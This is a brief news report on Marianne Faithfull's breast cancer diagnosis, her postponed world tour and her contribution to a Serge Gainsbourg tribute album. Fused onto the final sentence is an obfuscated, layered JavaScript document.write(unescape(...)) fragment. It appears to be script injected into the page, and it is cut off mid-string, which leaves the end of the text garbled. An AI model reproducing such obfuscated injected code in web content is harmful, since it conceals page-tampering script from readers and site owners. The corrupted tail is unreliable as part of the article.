Marianne Faithfull diagnosed with cancer

Marianne Faithfull, the singer and actress best known for her connections with the Rolling Stones, has been diagnosed with breast cancer.

The disease was discovered by doctors in France, where the 59-year-old lives when not at home in Ireland, but the prognosis for a full recovery was "excellent", her publicist said Thursday.

Faithfull's world tour, which was due to begin next month, has been postponed until next year while she undergoes treatment, he added.

In a statement, Faithfull said: "I have absolute faith and confidence in my fantastic medical team and of course I will be well again, if not better than ever.

"Next year's tour, I want to assure fans, will be one big celebration."

Faithfull was one of the key stars of the 1960s due to her relationship with the Stones' singer Mick Jagger, who wrote her first hit "As Tears Go By" in 1964 with guitarist Keith Richards.

She recently recorded a song for a tribute album to French musician Serge Gainsbourg called "Monsieur Gainsbourg Revisited", which also features artistes including Franz Ferdinand and the singer's partner and muse Jane Birkin.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;